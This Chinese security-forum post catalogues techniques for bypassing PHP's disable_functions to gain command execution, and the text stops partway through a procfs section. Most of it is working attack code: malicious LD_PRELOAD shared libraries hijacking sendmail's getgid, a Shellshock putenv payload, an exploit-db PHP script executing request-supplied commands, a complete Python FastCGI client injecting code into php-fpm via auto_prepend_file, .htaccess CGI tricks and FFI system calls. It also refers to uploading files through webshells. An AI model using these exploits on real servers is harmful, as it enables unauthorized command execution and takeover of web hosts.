安全矩阵

 找回密码
 立即注册
搜索
查看: 1320|回复: 0

【表哥有话说 第77期】bypass disable_functions

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-7-26 11:02:16 | 显示全部楼层 |阅读模式
本帖最后由 chenqiang 于 2022-7-26 11:10 编辑

原文链接:【表哥有话说 第77期】bypass disable_functions

黑名单bypass
命令执行函数
/*
  1. <font color="#5c6370"><i>system函数:
  2. 功能:执行外部程序,并且显示输出
  3. 返回值:成功则返回命令输出的最后一行,失败则返回 FALSE
  4. */</i></font>
  5. system(<font color="#98c379">"ls"</font>);<font color="#5c6370"><i>/*</i></font>
复制代码
  1. <font color="#5c6370"><i>shell_exec函数:
  2. 功能:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  3. 返回值:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。(当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL,所以,使用本函数无法通过返回值检测进程是否成功执行。 如果需要检查进程执行的退出码,请使用 exec() 函数。)
  4. */</i></font>
  5. <font color="#c678dd">echo</font> shell_exec(<font color="#98c379">"ls"</font>);
  6. <font color="#c678dd">echo</font> `ls`;
复制代码
  1. <font color="#5c6370"><i>/*
  2. exec函数:
  3. 功能:执行一个外部程序
  4. 返回值:命令执行结果的最后一行内容。想要获取命令的输出内容,请确保使用output参数。
  5. */</i></font>
  6. <font color="#5c6370"><i>//exec(string $command [,array &$output [,int &$return_var ]])</i></font>
  7. exec(<font color="#98c379">"ls"</font>,$output);print_r($output);
复制代码
  1. <font color="#5c6370"><i>/*
  2. passthru函数:
  3. 功能:执行外部程序并且显示原始输出
  4. 返回值:没有返回值。
  5. 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system()函数
  6. */</i></font>
  7. passthru(<font color="#98c379">"ls"</font>);
复制代码
  1. <font color="#5c6370"><i>/*
  2. popen函数:
  3. 功能:打开进程文件指针
  4. 返回值:返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。当模式为 'r',返回的文件指针等于命令的STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN。
  5. 如果出错返回 FALSE。
  6. */</i></font>
  7. $f = @popen(<font color="#98c379">"ls"</font>,<font color="#98c379">"r"</font>);
  8. $res = <font color="#98c379">""</font>;
  9. <font color="#c678dd">while</font>(!@feof($f)){
  10.     $res .= @fread($f,<font color="#d19a66">1024</font>);
  11. }
  12. @pclose($f);
复制代码
  1. <font color="#5c6370"><i>/*proc_open函数:
  2. 功能:执行一个命令,并且打开用来输入/输出的文件指针。
  3. 返回值:返回表示进程的资源类型,当使用完毕之后,请调用proc_close()函数来关闭此资源。如果失败,返回FALSE。
  4. */</i></font>
  5. $descriptorspec = <font color="#c678dd">array</font>(
  6.             <font color="#d19a66">0</font> => <font color="#c678dd">array</font>(<font color="#98c379">"pipe"</font>, <font color="#98c379">"r"</font>),
  7.             <font color="#d19a66">1</font> => <font color="#c678dd">array</font>(<font color="#98c379">"pipe"</font>, <font color="#98c379">"w"</font>),
  8.             <font color="#d19a66">2</font> => <font color="#c678dd">array</font>(<font color="#98c379">"pipe"</font>, <font color="#98c379">"w"</font>)
  9. );
  10. $process = proc_open(<font color="#98c379">"ls"</font>, $descriptorspec, $pipes, <font color="#c678dd">null</font>, <font color="#c678dd">null</font>);
  11. fwrite($pipes[<font color="#d19a66">0</font>], <font color="#98c379">'$stdin'</font>);
  12. fclose($pipes[<font color="#d19a66">0</font>]);
  13. $res = stream_get_contents($pipes[<font color="#d19a66">1</font>]);
复制代码
  1. <font color="#5c6370"><i>/*pcntl_exec函数:
  2. 功能:在当前进程空间执行指定程序
  3. 返回值:当发生错误时返回FALSE ,没有错误时没有返回。
  4. pcntl_exec(string $path [, array $args [, array $envs ]] )
  5. $path:可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
  6. $args:程序的参数的字符串数组。
  7. $envs:作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
  8. */</i></font>
  9. <font color="#5c6370"><i>//$cmdfile为存放命令的文件地址</i></font>
  10. <font color="#5c6370"><i>//$outfile为命令结果文件地址</i></font>
  11. $cmd_arr = <font color="#c678dd">array</font>($cmdfile, $outfile);
  12. pcntl_exec(<font color="#98c379">"/bin/bash"</font>, <font color="#c678dd">array</font>($cmd_arr[<font color="#d19a66">0</font>]));
  13. readfile($cmd_arr[<font color="#d19a66">1</font>]);
复制代码
  1. <font color="#5c6370"><i>/*dl函数:
  2. 功能:运行时载入一个 PHP 扩展
  3. 返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。 如果加载模块的功能是无效或者禁用的(既可以通过设置关闭 enable_dl 设置,也可以通过启用 php.ini 里的 安全模式)将导致一个 E_ERROR 并中断执行。 如果因为指定的库无法加载而导致 dl() 失败,除了返回 FALSE,还会产生一个 E_WARNING 的消息。
  4. */</i></font>
  5. 默认加载php.ini里extension_dir的文件夹里,但是可以利用../带出来
  6. enable_dl=On方可能用
  7. 上传恶意php扩展文件,并且用dl函数加载这个文件,然后利用里面的函数执行其他操作,包括系统命令。
  8. dl()
复制代码


.htaccess调用cgi

前提

  • apache开启cgi_module
  • AllowOverride
  • .htaccess文件可写

1.上传.htaccess文件

  1. Options +ExecCGI
  2. AddHandler cgi-script .sh
复制代码


2.上传exp.sh文件


  1. <font color="#61aeee">#!/bin/bash</font>
  2. <font color="#e6c07b">echo</font>&ls
复制代码


3.访问即可

LD_PRELOAD

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。

利用LD_RELOAD进行bypass的思路是:将LD_PRELOAD指向恶意.so文件,从而挟持正常函数。


绕过前提:

  • 能够上传自己的so文件
  • 能够控制环境变量的值(如php函数:putenv)
  • 存在可以控制php启动外部程序的函数并能执行(如:mail(),imap_mail(),mb_send_mail()和error_log()等)

当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可。

PHP中某些函数比如mail()函数调用时,就会调用系统中的sendmail函数,由于LD_PRELOAD中指定加载了恶意的.so文件中覆盖了sendmail函数,所以就会执行重写的sendmail函数中的恶意代码,从而绕过disable_functions,达到任意执行系统命令的效果。

1.生成恶意.so文件

  • 覆盖正常函数:

以mail函数为例:


  1. strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"
复制代码


查看mail函数有无执行程序或启动新进程。

发现启动了sendmail,然后用readelf -Ws查看sendmail程序的系统函数调用情况。

这里选取getgid。


  1. man 2 getgid
复制代码


查看getgid系统函数需要什么头文件和格式,从写出相应的伪造代码


  1. <font color="#61aeee">#include <stdlib.h></font>
  2. <font color="#61aeee">#include <stdio.h></font>
  3. <font color="#61aeee">#include <string.h></font>
  4. int getgid() {
  5.   unsetenv(<font color="#98c379">"LD_PRELOAD"</font>);
  6.   system(getenv(<font color="#98c379">"cmd"</font>));
  7. }


  8. gcc --share -fPIC 1.c -o bad.so
复制代码


从而生成恶意.so文件

  • 或利用constructor(个人更推荐):

这样只需找到能启动新程序的php函数即可。

  1. <font color="#5c6370"><i>/*GNU C的一大特色就是__attribute__机制,可以设置函数属性(Attribute),变量属性(Variable Attribute)和类型属性(Type Attribute).*/</i></font>
  2. <font color="#5c6370"><i>/*__attribute__((attribute-list))
  3. 当参数为constructor时,就可以在加载共享库时运行。
  4. 当参数为destructor时,会在main()函数执行之后,或exit()函数调用后自动执行。
  5. */</i></font>
  6. <font color="#61aeee">#define _GNU_SOURCE</font>

  7. <font color="#61aeee">#include <stdlib.h></font>
  8. <font color="#61aeee">#include <stdio.h></font>
  9. <font color="#61aeee">#include <string.h></font>


  10. <font color="#c678dd">extern</font> <font color="#c678dd">char</font>** environ;

  11. __attribute__((__constructor__)) void zxhy (void)
  12. {

  13.     <font color="#c678dd">for</font>(<font color="#c678dd">int</font> i = <font color="#d19a66">0</font>;environ<i>;i ++) {
  14.             <font color="#c678dd">if</font> (<font color="#e6c07b">strstr</font>(environ<i>, <font color="#98c379">"LD_PRELOAD"</font>)) {
  15.                     environ<i>[<font color="#d19a66">0</font>] = <font color="#98c379">'\0'</font>;
  16.             }
  17.     }

  18.     system(getenv(<font color="#98c379">"cmd"</font>));
  19. }
  20. <font color="#5c6370"><i>/*
  21. php运行中只要有新程序启动就可执行
  22. */</i></font></i></i></i>
复制代码


生成动态链接库文件如上

2.上传恶意.so文件

  • 连上蚁剑或者菜刀直接上传
  • 利用原来存在的shell上传点去上传
  • 或写进去一个新的上传点

3.写入php利用脚本

  1. <font color="#61aeee"><?php</font>
  2. putenv(<font color="#98c379">"cmd=ls > 1.txt"</font>);
  3. putenv(<font color="#98c379">"LD_PRELOAD=./bad.so"</font>);
  4. mail(<font color="#98c379">''</font>,<font color="#98c379">''</font>,<font color="#98c379">''</font>,<font color="#98c379">''</font>);<font color="#5c6370"><i>//函数可换</i></font>
  5. <font color="#5c6370"><i>//error_log('',1);</i></font>
  6. <font color="#5c6370"><i>//mb_send_mail函数php-mbstring模块</i></font>
  7. <font color="#5c6370"><i>//imap_mail函数php-imap模块</i></font>
  8. <font color="#5c6370"><i>//libvirt_connect函数php-libvirt-php模块</i></font>
  9. <font color="#5c6370"><i>//gnupg_init函数php-gnupg模块</i></font>
复制代码


4.访问php利用脚本

访问php脚本运行后,可通过访问1.txt来获取执行命令的结果

ShellShock(CVE-2014-6271)

前提:

  • 允许用户定义环境变量
  • 服务会调用bash(创建bash子进程)
  • 服务调用子bash时加载了用户定义的环境变量

bash 4.3及以前会将以"(){"开头的环境变量解析为函数,解析后bash不会退出,会继续执行.故而可构造payload达到命令执行.

所以可以利用php的putenv函数


  1. putenv(<font color="#98c379">"PHP_XXX=() { x; }; ls > 1.txt "</font>);
  2. mb_send_mail(<font color="#98c379">''</font>,<font color="#98c379">''</font>,<font color="#98c379">''</font>);
复制代码


访问1.txt即可得到ls的内容

exploit-db上的脚本:

  1. <font color="#5c6370"><i># Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)</i></font>
  2. <font color="#5c6370"><i># Google Dork: none</i></font>
  3. <font color="#5c6370"><i># Date: 10/31/2014</i></font>
  4. <font color="#5c6370"><i># Exploit Author: Ryan King (Starfall)</i></font>
  5. <font color="#5c6370"><i># Vendor Homepage: <a href="http://php.net" target="_blank">http://php.net</a></i></font>
  6. <font color="#5c6370"><i># Software Link: <a href="http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror" target="_blank">http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror</a></i></font>
  7. <font color="#5c6370"><i># Version: 5.* (tested on 5.6.2)</i></font>
  8. <font color="#5c6370"><i># Tested on: Debian 7 and CentOS 5 and 6</i></font>
  9. <font color="#5c6370"><i># CVE: CVE-2014-6271</i></font>
  10. <pre>
  11. <font color="#61aeee"><?php</font> <font color="#c678dd">echo</font> <font color="#98c379">"Disabled functions: "</font>.ini_get(<font color="#98c379">'disable_functions'</font>).<font color="#98c379">"n"</font>; <font color="#61aeee">?></font>
  12. <font color="#61aeee"><?php</font>
  13. function shellshock($cmd) { <font color="#5c6370"><i>// Execute a command via CVE-2014-6271 @ mail.c:283</i></font>
  14.    <font color="#c678dd">if</font>(strstr(readlink(<font color="#98c379">"/bin/sh"</font>), <font color="#98c379">"bash"</font>) != <font color="#c678dd">FALSE</font>) {
  15.      $tmp = tempnam(<font color="#98c379">"."</font>,<font color="#98c379">"data"</font>);
  16.      putenv(<font color="#98c379">"PHP_LOL=() { x; }; $cmd >$tmp 2>&1"</font>);
  17.      <font color="#5c6370"><i>// In Safe Mode, the user may only alter environment variables whose names</i></font>
  18.      <font color="#5c6370"><i>// begin with the prefixes supplied by this directive.</i></font>
  19.      <font color="#5c6370"><i>// By default, users will only be able to set environment variables that</i></font>
  20.      <font color="#5c6370"><i>// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,</i></font>
  21.      <font color="#5c6370"><i>// PHP will let the user modify ANY environment variable!</i></font>
  22.      mail(<font color="#98c379">"a@127.0.0.1"</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>,<font color="#98c379">""</font>,<font color="#98c379">"-bv"</font>); <font color="#5c6370"><i>// -bv so we don't actually send any mail</i></font>
  23.    }
  24.    <font color="#c678dd">else</font> <font color="#c678dd">return</font> <font color="#98c379">"Not vuln (not bash)"</font>;
  25.    $output = @file_get_contents($tmp);
  26.    @unlink($tmp);
  27.    <font color="#c678dd">if</font>($output != <font color="#98c379">""</font>) <font color="#c678dd">return</font> $output;
  28.    <font color="#c678dd">else</font> <font color="#c678dd">return</font> <font color="#98c379">"No output, or not vuln."</font>;
  29. }
  30. <font color="#c678dd">echo</font> shellshock($_REQUEST[<font color="#98c379">"cmd"</font>]);
  31. <font color="#61aeee">?></font>
复制代码

php-fpm

fsockopen与pfsockopen函数功能一样

利用灵活,应用范围广

配置文件地址(可查fpm端口):


  1. /usr/<font color="#e6c07b">local</font>/etc/php-fpm.d/www.conf
复制代码


查看phpinfo,Server API为FPM/FastCGI

跑p神的脚本或用蚁剑的插件。本质是通过fastcgi协议直接与php-fpm交流。


  1. usage: fpm.py [-c CODE] [-p PORT] host file
复制代码
  1. <font color="#c678dd">import</font> socket
  2. <font color="#c678dd">import</font> random
  3. <font color="#c678dd">import</font> argparse
  4. <font color="#c678dd">import</font> sys
  5. <font color="#c678dd">from</font> io <font color="#c678dd">import</font> BytesIO

  6. <font color="#5c6370"><i># Referrer: <a href="https://github.com/wuyunfeng/Python-FastCGI-Client" target="_blank">https://github.com/wuyunfeng/Python-FastCGI-Client</a></i></font>

  7. PY2 = <font color="#56b6c2">True</font> <font color="#c678dd">if</font> sys.version_info.major == <font color="#d19a66">2</font> <font color="#c678dd">else</font> <font color="#56b6c2">False</font>


  8. def bchr(i):
  9.     <font color="#c678dd">if</font> PY2:
  10.         <font color="#c678dd">return</font> force_bytes(chr(i))
  11.     <font color="#c678dd">else</font>:
  12.         <font color="#c678dd">return</font> bytes(<i>)

  13. def bord(c):
  14.     <font color="#c678dd">if</font> isinstance(c, int):
  15.         <font color="#c678dd">return</font> c
  16.     <font color="#c678dd">else</font>:
  17.         <font color="#c678dd">return</font> ord(c)

  18. def force_bytes(s):
  19.     <font color="#c678dd">if</font> isinstance(s, bytes):
  20.         <font color="#c678dd">return</font> s
  21.     <font color="#c678dd">else</font>:
  22.         <font color="#c678dd">return</font> s.encode(<font color="#98c379">'utf-8'</font>, <font color="#98c379">'strict'</font>)

  23. def force_text(s):
  24.     <font color="#c678dd">if</font> issubclass(type(s), str):
  25.         <font color="#c678dd">return</font> s
  26.     <font color="#c678dd">if</font> isinstance(s, bytes):
  27.         s = str(s, <font color="#98c379">'utf-8'</font>, <font color="#98c379">'strict'</font>)
  28.     <font color="#c678dd">else</font>:
  29.         s = str(s)
  30.     <font color="#c678dd">return</font> s


  31. class FastCGIClient:
  32.     <font color="#98c379">"""A Fast-CGI Client for Python"""</font>

  33.     <font color="#5c6370"><i># private</i></font>
  34.     __FCGI_VERSION = <font color="#d19a66">1</font>

  35.     __FCGI_ROLE_RESPONDER = <font color="#d19a66">1</font>
  36.     __FCGI_ROLE_AUTHORIZER = <font color="#d19a66">2</font>
  37.     __FCGI_ROLE_FILTER = <font color="#d19a66">3</font>

  38.     __FCGI_TYPE_BEGIN = <font color="#d19a66">1</font>
  39.     __FCGI_TYPE_ABORT = <font color="#d19a66">2</font>
  40.     __FCGI_TYPE_END = <font color="#d19a66">3</font>
  41.     __FCGI_TYPE_PARAMS = <font color="#d19a66">4</font>
  42.     __FCGI_TYPE_STDIN = <font color="#d19a66">5</font>
  43.     __FCGI_TYPE_STDOUT = <font color="#d19a66">6</font>
  44.     __FCGI_TYPE_STDERR = <font color="#d19a66">7</font>
  45.     __FCGI_TYPE_DATA = <font color="#d19a66">8</font>
  46.     __FCGI_TYPE_GETVALUES = <font color="#d19a66">9</font>
  47.     __FCGI_TYPE_GETVALUES_RESULT = <font color="#d19a66">10</font>
  48.     __FCGI_TYPE_UNKOWNTYPE = <font color="#d19a66">11</font>

  49.     __FCGI_HEADER_SIZE = <font color="#d19a66">8</font>

  50.     <font color="#5c6370"><i># request state</i></font>
  51.     FCGI_STATE_SEND = <font color="#d19a66">1</font>
  52.     FCGI_STATE_ERROR = <font color="#d19a66">2</font>
  53.     FCGI_STATE_SUCCESS = <font color="#d19a66">3</font>

  54.     def __init__(self, host, port, timeout, keepalive):
  55.         self.host = host
  56.         self.port = port
  57.         self.timeout = timeout
  58.         <font color="#c678dd">if</font> keepalive:
  59.             self.keepalive = <font color="#d19a66">1</font>
  60.         <font color="#c678dd">else</font>:
  61.             self.keepalive = <font color="#d19a66">0</font>
  62.         self.sock = <font color="#56b6c2">None</font>
  63.         self.requests = dict()

  64.     def __connect(self):
  65.         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  66.         self.sock.settimeout(self.timeout)
  67.         self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, <font color="#d19a66">1</font>)
  68.         <font color="#5c6370"><i># if self.keepalive:</i></font>
  69.         <font color="#5c6370"><i>#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)</i></font>
  70.         <font color="#5c6370"><i># else:</i></font>
  71.         <font color="#5c6370"><i>#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)</i></font>
  72.         <font color="#c678dd">try</font>:
  73.             self.sock.connect((self.host, int(self.port)))
  74.         <font color="#c678dd">except</font> socket.error <font color="#c678dd">as</font> msg:
  75.             self.sock.close()
  76.             self.sock = <font color="#56b6c2">None</font>
  77.             print(repr(msg))
  78.             <font color="#c678dd">return</font> <font color="#56b6c2">False</font>
  79.         <font color="#c678dd">return</font> <font color="#56b6c2">True</font>

  80.     def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
  81.         length = len(content)
  82.         buf = bchr(FastCGIClient.__FCGI_VERSION) \
  83.                + bchr(fcgi_type) \
  84.                + bchr((requestid >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
  85.                + bchr(requestid & <font color="#d19a66">0xFF</font>) \
  86.                + bchr((length >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
  87.                + bchr(length & <font color="#d19a66">0xFF</font>) \
  88.                + bchr(<font color="#d19a66">0</font>) \
  89.                + bchr(<font color="#d19a66">0</font>) \
  90.                + content
  91.         <font color="#c678dd">return</font> buf

  92.     def __encodeNameValueParams(self, name, value):
  93.         nLen = len(name)
  94.         vLen = len(value)
  95.         record = <font color="#98c379">b''</font>
  96.         <font color="#c678dd">if</font> nLen < <font color="#d19a66">128</font>:
  97.             record += bchr(nLen)
  98.         <font color="#c678dd">else</font>:
  99.             record += bchr((nLen >> <font color="#d19a66">24</font>) | <font color="#d19a66">0x80</font>) \
  100.                       + bchr((nLen >> <font color="#d19a66">16</font>) & <font color="#d19a66">0xFF</font>) \
  101.                       + bchr((nLen >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
  102.                       + bchr(nLen & <font color="#d19a66">0xFF</font>)
  103.         <font color="#c678dd">if</font> vLen < <font color="#d19a66">128</font>:
  104.             record += bchr(vLen)
  105.         <font color="#c678dd">else</font>:
  106.             record += bchr((vLen >> <font color="#d19a66">24</font>) | <font color="#d19a66">0x80</font>) \
  107.                       + bchr((vLen >> <font color="#d19a66">16</font>) & <font color="#d19a66">0xFF</font>) \
  108.                       + bchr((vLen >> <font color="#d19a66">8</font>) & <font color="#d19a66">0xFF</font>) \
  109.                       + bchr(vLen & <font color="#d19a66">0xFF</font>)
  110.         <font color="#c678dd">return</font> record + name + value

  111.     def __decodeFastCGIHeader(self, stream):
  112.         header = dict()
  113.         header[<font color="#98c379">'version'</font>] = bord(stream[<font color="#d19a66">0</font>])
  114.         header[<font color="#98c379">'type'</font>] = bord(stream[<font color="#d19a66">1</font>])
  115.         header[<font color="#98c379">'requestId'</font>] = (bord(stream[<font color="#d19a66">2</font>]) << <font color="#d19a66">8</font>) + bord(stream[<font color="#d19a66">3</font>])
  116.         header[<font color="#98c379">'contentLength'</font>] = (bord(stream[<font color="#d19a66">4</font>]) << <font color="#d19a66">8</font>) + bord(stream[<font color="#d19a66">5</font>])
  117.         header[<font color="#98c379">'paddingLength'</font>] = bord(stream[<font color="#d19a66">6</font>])
  118.         header[<font color="#98c379">'reserved'</font>] = bord(stream[<font color="#d19a66">7</font>])
  119.         <font color="#c678dd">return</font> header

  120.     def __decodeFastCGIRecord(self, buffer):
  121.         header = buffer.read(int(self.__FCGI_HEADER_SIZE))

  122.         <font color="#c678dd">if</font> <font color="#c678dd">not</font> header:
  123.             <font color="#c678dd">return</font> <font color="#56b6c2">False</font>
  124.         <font color="#c678dd">else</font>:
  125.             record = self.__decodeFastCGIHeader(header)
  126.             record[<font color="#98c379">'content'</font>] = <font color="#98c379">b''</font>
  127.             
  128.             <font color="#c678dd">if</font> <font color="#98c379">'contentLength'</font> <font color="#c678dd">in</font> record.keys():
  129.                 contentLength = int(record[<font color="#98c379">'contentLength'</font>])
  130.                 record[<font color="#98c379">'content'</font>] += buffer.read(contentLength)
  131.             <font color="#c678dd">if</font> <font color="#98c379">'paddingLength'</font> <font color="#c678dd">in</font> record.keys():
  132.                 skiped = buffer.read(int(record[<font color="#98c379">'paddingLength'</font>]))
  133.             <font color="#c678dd">return</font> record

  134.     def request(self, nameValuePairs={}, post=''):
  135.         <font color="#c678dd">if</font> <font color="#c678dd">not</font> self.__connect():
  136.             print(<font color="#98c379">'connect failure! please check your fasctcgi-server !!'</font>)
  137.             <font color="#c678dd">return</font>

  138.         requestId = random.randint(<font color="#d19a66">1</font>, (<font color="#d19a66">1</font> << <font color="#d19a66">16</font>) - <font color="#d19a66">1</font>)
  139.         self.requests[requestId] = dict()
  140.         request = <font color="#98c379">b""</font>
  141.         beginFCGIRecordContent = bchr(<font color="#d19a66">0</font>) \
  142.                                  + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
  143.                                  + bchr(self.keepalive) \
  144.                                  + bchr(<font color="#d19a66">0</font>) * <font color="#d19a66">5</font>
  145.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
  146.                                               beginFCGIRecordContent, requestId)
  147.         paramsRecord = <font color="#98c379">b''</font>
  148.         <font color="#c678dd">if</font> nameValuePairs:
  149.             <font color="#c678dd">for</font> (name, value) <font color="#c678dd">in</font> nameValuePairs.items():
  150.                 name = force_bytes(name)
  151.                 value = force_bytes(value)
  152.                 paramsRecord += self.__encodeNameValueParams(name, value)

  153.         <font color="#c678dd">if</font> paramsRecord:
  154.             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
  155.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, <font color="#98c379">b''</font>, requestId)

  156.         <font color="#c678dd">if</font> post:
  157.             request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
  158.         request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, <font color="#98c379">b''</font>, requestId)

  159.         self.sock.send(request)
  160.         self.requests[requestId][<font color="#98c379">'state'</font>] = FastCGIClient.FCGI_STATE_SEND
  161.         self.requests[requestId][<font color="#98c379">'response'</font>] = <font color="#98c379">b''</font>
  162.         <font color="#c678dd">return</font> self.__waitForResponse(requestId)

  163.     def __waitForResponse(self, requestId):
  164.         data = <font color="#98c379">b''</font>
  165.         <font color="#c678dd">while</font> <font color="#56b6c2">True</font>:
  166.             buf = self.sock.recv(<font color="#d19a66">512</font>)
  167.             <font color="#c678dd">if</font> <font color="#c678dd">not</font> len(buf):
  168.                 <font color="#c678dd">break</font>
  169.             data += buf

  170.         data = BytesIO(data)
  171.         <font color="#c678dd">while</font> <font color="#56b6c2">True</font>:
  172.             response = self.__decodeFastCGIRecord(data)
  173.             <font color="#c678dd">if</font> <font color="#c678dd">not</font> response:
  174.                 <font color="#c678dd">break</font>
  175.             <font color="#c678dd">if</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.__FCGI_TYPE_STDOUT \
  176.                     <font color="#c678dd">or</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.__FCGI_TYPE_STDERR:
  177.                 <font color="#c678dd">if</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.__FCGI_TYPE_STDERR:
  178.                     self.requests[<font color="#98c379">'state'</font>] = FastCGIClient.FCGI_STATE_ERROR
  179.                 <font color="#c678dd">if</font> requestId == int(response[<font color="#98c379">'requestId'</font>]):
  180.                     self.requests[requestId][<font color="#98c379">'response'</font>] += response[<font color="#98c379">'content'</font>]
  181.             <font color="#c678dd">if</font> response[<font color="#98c379">'type'</font>] == FastCGIClient.FCGI_STATE_SUCCESS:
  182.                 self.requests[requestId]
  183.         <font color="#c678dd">return</font> self.requests[requestId][<font color="#98c379">'response'</font>]

  184.     def __repr__(self):
  185.         <font color="#c678dd">return</font> <font color="#98c379">"fastcgi connect host:{} port:{}"</font>.format(self.host, self.port)


  186. <font color="#c678dd">if</font> __name__ == <font color="#98c379">'__main__'</font>:
  187.     parser = argparse.ArgumentParser(description=<font color="#98c379">'Php-fpm code execution vulnerability client.'</font>)
  188.     parser.add_argument(<font color="#98c379">'host'</font>, help=<font color="#98c379">'Target host, such as 127.0.0.1'</font>)
  189.     parser.add_argument(<font color="#98c379">'file'</font>, help=<font color="#98c379">'A php file absolute path, such as /usr/local/lib/php/System.php'</font>)
  190.     parser.add_argument(<font color="#98c379">'-c'</font>, <font color="#98c379">'--code'</font>, help=<font color="#98c379">'What php code your want to execute'</font>, default=<font color="#98c379">'<?php phpinfo(); exit; ?>'</font>)
  191.     parser.add_argument(<font color="#98c379">'-p'</font>, <font color="#98c379">'--port'</font>, help=<font color="#98c379">'FastCGI port'</font>, default=<font color="#d19a66">9000</font>, type=int)

  192.     args = parser.parse_args()

  193.     client = FastCGIClient(args.host, args.port, <font color="#d19a66">3</font>, <font color="#d19a66">0</font>)
  194.     params = dict()
  195.     documentRoot = <font color="#98c379">"/"</font>
  196.     uri = args.file
  197.     content = args.code
  198.     params = {
  199.         <font color="#98c379">'GATEWAY_INTERFACE'</font>: <font color="#98c379">'FastCGI/1.0'</font>,
  200.         <font color="#98c379">'REQUEST_METHOD'</font>: <font color="#98c379">'POST'</font>,
  201.         <font color="#98c379">'SCRIPT_FILENAME'</font>: documentRoot + uri.lstrip(<font color="#98c379">'/'</font>),<font color="#5c6370"><i>#important</i></font>
  202.         <font color="#98c379">'SCRIPT_NAME'</font>: uri,
  203.         <font color="#98c379">'QUERY_STRING'</font>: <font color="#98c379">''</font>,
  204.         <font color="#98c379">'REQUEST_URI'</font>: uri,
  205.         <font color="#98c379">'DOCUMENT_ROOT'</font>: documentRoot,
  206.         <font color="#98c379">'SERVER_SOFTWARE'</font>: <font color="#98c379">'php/fcgiclient'</font>,
  207.         <font color="#98c379">'REMOTE_ADDR'</font>: <font color="#98c379">'127.0.0.1'</font>,
  208.         <font color="#98c379">'REMOTE_PORT'</font>: <font color="#98c379">'9985'</font>,
  209.         <font color="#98c379">'SERVER_ADDR'</font>: <font color="#98c379">'127.0.0.1'</font>,
  210.         <font color="#98c379">'SERVER_PORT'</font>: <font color="#98c379">'80'</font>,
  211.         <font color="#98c379">'SERVER_NAME'</font>: <font color="#98c379">"localhost"</font>,
  212.         <font color="#98c379">'SERVER_PROTOCOL'</font>: <font color="#98c379">'HTTP/1.1'</font>,
  213.         <font color="#98c379">'CONTENT_TYPE'</font>: <font color="#98c379">'application/text'</font>,
  214.         <font color="#98c379">'CONTENT_LENGTH'</font>: <font color="#98c379">"%d"</font> % len(content),
  215.         <font color="#98c379">'PHP_VALUE'</font>: <font color="#98c379">'auto_prepend_file = php://input'</font>,
  216.         <font color="#98c379">'PHP_ADMIN_VALUE'</font>: <font color="#98c379">'allow_url_include = On'</font>
  217.     }
  218.     response = client.request(params, content)
  219.     print(force_text(response))</i>
复制代码

FFI

方法非常灵活,可以看一下手册

https://www.php.net/manual/en/class.ffi.php

  1. <font color="#61aeee"><?php</font>

  2. $ffi = FFI::cdef(
  3.     <font color="#98c379">"int system(const char *command);"</font>,
  4.     <font color="#98c379">"libc.so.6"</font>);

  5. $ffi->system(<font color="#98c379">"id"</font>);

  6. <font color="#61aeee">?></font>
复制代码


或者

  1. <font color="#61aeee"><?php</font>
  2. $ffi = FFI::cdef(
  3.         <font color="#98c379">"int system(const char *command);"</font>,
  4.         <font color="#98c379">"/var/www/html/bad.so"</font>);
  5. <font color="#61aeee">?></font>
复制代码


bad.so源代码可以写


  1. <font color="#61aeee">#include <stdlib.h></font>
  2. __attribute__((constructor)) void xxx(){
  3.     system(<font color="#98c379">"ls"</font>);
  4. }
复制代码

phpbug

根据实际情况可以微调代码

关注最新bug

procfts-bypass

backtrace-bypass:7.0-7.4

gc-bypass:7.0-7.3

json-bypass:7.1-7.3

procfs_bypass

  1. <div><i><i><i><i><font color="#61aeee"><?php</font></i></i></i></i></div><i><i><i><i>
  2. <font color="#5c6370"><i>/*

  3. $libc_ver:

  4. beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
